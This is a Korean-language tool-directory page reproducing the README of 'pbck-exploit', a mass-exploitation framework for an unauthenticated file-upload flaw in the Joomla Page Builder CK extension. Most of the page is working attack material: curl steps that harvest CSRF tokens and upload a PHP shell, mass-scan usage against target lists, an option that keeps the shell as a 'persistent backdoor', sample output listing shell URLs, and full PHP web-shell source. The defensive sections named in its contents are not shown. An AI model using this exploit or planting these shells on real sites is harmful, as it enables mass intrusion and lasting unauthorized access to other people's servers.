Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
pbck-exploit — 📤 CVE-2026-56290를 위한 대량 익스플로잇 프레임워크 — Page Builder CK Joomla의 인증되지 않은 파일 업로드로 인한 RCE | Kitploit
도구/GitHubGitHub/shinthink/pbck-exploit
ReconnaissanceVulnerability ScannersExploit FrameworksWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubshinthink/pbck-exploit

pbck-exploit

📤 CVE-2026-56290를 위한 대량 익스플로잇 프레임워크 — Page Builder CK Joomla의 인증되지 않은 파일 업로드로 인한 RCE

저장소 보기
3162개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PBCK-Exploit — CVE-2026-56290 Joomla Page Builder CK 익스플로잇

Python CVE License

Discovery CSRF RCE Cleanup Live

Joomla Page Builder CK를 위한 대량 익스플로잇 및 검증 프레임워크

인증되지 않은 임의 파일 업로드 → 원격 코드 실행



📑 목차

  • 취약점 개요
  • 영향받는 버전
  • 기능
  • 설치
  • 사용법
  • 개념 증명
  • 기술 심층 분석
  • 탐지 방법론
  • 방어 및 완화
  • 면책 조항
  • 참고 자료

🔴 취약점 개요

CVE-2026-56290는 Page Builder CK (com_pagebuilderck)에서 발견된 치명적인 심각도의 취약점입니다. 이 취약점은 인기 있는 Joomla 페이지 빌더 확장 프로그램으로, browse.ajaxAddPicture 컨트롤러 메서드가 사용자 제어 가능한 대상 경로로 인증되지 않은 파일 업로드를 허용하여 공격자가 웹 접근 가능 디렉터리에 임의의 PHP 파일을 작성할 수 있게 합니다.

근본 원인

// browse.php 컨트롤러 — 인증 확인 없음
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // ← 사용자 제어 파일
    $path  = trim($input->get('path', ''));       // ← 사용자 제어 경로, trim()만 적용!
    // ... 파일을 $path로 업로드하며 대상 경로를 검증하지 않음
}

path 매개변수는 trim() 정리만 수행됩니다 — 화이트리스트 없음, 디렉터리 트래버설 검사 없음, 인증 게이트 없음. 모든 Joomla 페이지에서 공개적으로 접근 가능한 CSRF 토큰과 결합하여 공격자는 모든 쓰기 가능한 디렉터리에 PHP 셸을 원격으로 업로드할 수 있습니다.

영향

벡터심각도영향
인증되지 않은 파일 업로드9.8 (치명적)임의 PHP 코드 실행
CSRF 토큰 수집5.3 (중간)업로드 체인 활성화
정보 노출5.3 (중간)확장 프로그램 버전 지문 확인

공격 체인

1. HIT Joomla homepage     →  harvest CSRF token (hex32 + value "1")
2. POST file upload         →  task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in       →  media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL            →  code executes, RCE confirmed
5. POST f=@file to shell    →  upload additional tools
6. GET ?cleanup=1           →  shell self-destructs

🟠 영향받는 버전

Page Builder CK 버전상태참고
3.1.1 이하🔴 취약인증되지 않은 업로드 확인됨
3.4.10 이하🔴 취약분석에 따른 확장 범위
3.5.10 이하🔴 취약일부 패치된 변형이 있을 수 있음
> 3.5.10🟢 패치 가능성 있음manifest XML로 확인

참고: 버전은 /administrator/manifests/files/com_pagebuilderck.xml의 Joomla manifest 파일에서 감지됩니다. manifest에 접근할 수 없는 경우 스캐너는 기본적으로 대상을 잠재적으로 취약한 것으로 간주합니다.


✨ 기능

🔍 정찰

  • Joomla 감지 — 2단계: HTML 지문 + 관리자 패널 프로브
  • PBCK 감지 — 직접 경로 프로브 + HTML 패턴 매칭
  • 버전 추출 — Manifest XML 파싱 + HTML 정규식 대체
  • CSRF 토큰 수집 — 다중 페이지 토큰 추출 (홈, 로그인, 등록, 관리자)
  • 엔드포인트 무차별 대입 — 시간 예산이 적용된 1000개 이상의 작업/매개변수/경로 조합 발견

💀 익스플로잇

  • 40개 이상의 확장자 우회 — 대소문자 변형, 번호 변형, 이중 확장자, Windows 트릭
  • 20개 이상의 대상 경로 — 확장자 디렉터리, Joomla 쓰기 가능 디렉터리, 트래버설 경로
  • 셸 검증 — PHP 실행을 확인하는 토큰 기반 확인
  • 자동 정리 — 셸이 검증 후 자체 파괴 (?cleanup=1)
  • 실시간 TXT 출력 — 실시간 스레드 안전 결과를 파일에 기록
  • JSON 보고서 — 대상별 전체 세부 정보를 포함한 구조화된 보고서

📦 설치

# 리포지토리 클론
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit

# 의존성 설치
pip install -r requirements.txt

# 확인
python cve_2026_56290.py --help

요구 사항

requests>=2.28.0
urllib3>=1.26.0

📖 사용법

명령줄 인수

CVE-2026-56290 — PageBuilderCK 인증되지 않은 RCE | 대량 익스플로잇 및 검증기

  -t, --target        단일 대상 URL
  -f, --file          대상 URL이 포함된 파일 (한 줄에 하나, #은 주석)
  -o, --output        실시간 TXT 출력 파일 (기본값: cve-2026-56290_live.txt)
  --json              JSON 보고서 파일 경로 (기본값: cve-2026-56290_report.json)
  --threads           동시 작업자 수 (기본값: 20)
  --timeout           요청 제한 시간(초) (기본값: 15)
  --no-cleanup        대상에 셸 유지 (지속적 백도어)
  -v, --verbose       상세 엔드포인트 발견 출력
  --known-endpoint    발견 건너뛰기: 작업,파일매개변수,폴더매개변수

기본 사용법

# 단일 대상
python cve_2026_56290.py -t https://target.com

# 파일에서 대량 스캔
python cve_2026_56290.py -f targets.txt

# 사용자 정의 출력 + 상세
python cve_2026_56290.py -f targets.txt -o results.txt -v

# 셸 유지 (지속적 백도어)
python cve_2026_56290.py -t https://target.com --no-cleanup

# 알려진 엔드포인트로 발견 건너뛰기
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"

대상 파일 형식

# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# 주석 및 빈 줄은 무시됩니다

🧪 개념 증명

시나리오 1: 실시간 출력을 통한 대량 스캔

$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
  CVE-2026-56290 | 5개 대상 | 20개 스레드 | 정리=예
  실시간 TXT: live_results.txt
  2026-07-04 15:30:00
────────────────────────────────────────────────────────────

  ✅ https://target-vuln.com  [RCE 확인됨]  12.4s
     PBCK: 3.4.7 [취약]
     RCE  : ext=php | path=media/com_pagebuilderck/gfonts/
     셸: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
     사용법: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

  🛡️ https://target-patched.com  [패치됨]  3.2s

  ✅ https://target-vuln2.com  [RCE 확인됨]  15.1s
     PBCK: 3.1.0 [취약]
     RCE  : ext=pHP | path=media/com_pagebuilderck/fonts/
     셸: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
     사용법: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

==================================================
  스캔 요약
==================================================
  전체           : 5
  ✅ RCE 확인됨    : 2
  ⚠️  RCE 실패     : 1
  🛡️  패치됨       : 1
  🔍 차이 필요     : 0
  ❌ Joomla 아님   : 0
  ⏭️  구성 요소 없음 : 1
  💥 오류          : 0
==================================================

시나리오 2: 수동 재현 (curl + Python)

1단계 — CSRF 토큰 수집

curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"

2단계 — PHP 셸 업로드

TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"

curl -sk \
  -F "[email protected];type=application/x-php" \
  -F "path=media/com_pagebuilderck/gfonts/" \
  "https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"

3단계 — RCE 확인

curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP 셸 출력, 코드 실행 확인

시나리오 3: PHP 셸 페이로드

스캐너는 exec(), system(), eval()이 필요 없는 자체 포함 업로더 셸을 배포합니다:

<html><body>
<form method=post enctype=multipart/form-data>
  <input type=file name=f>
  <input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
  move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
  echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
  @unlink(__FILE__);
  die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>
도구 다운로드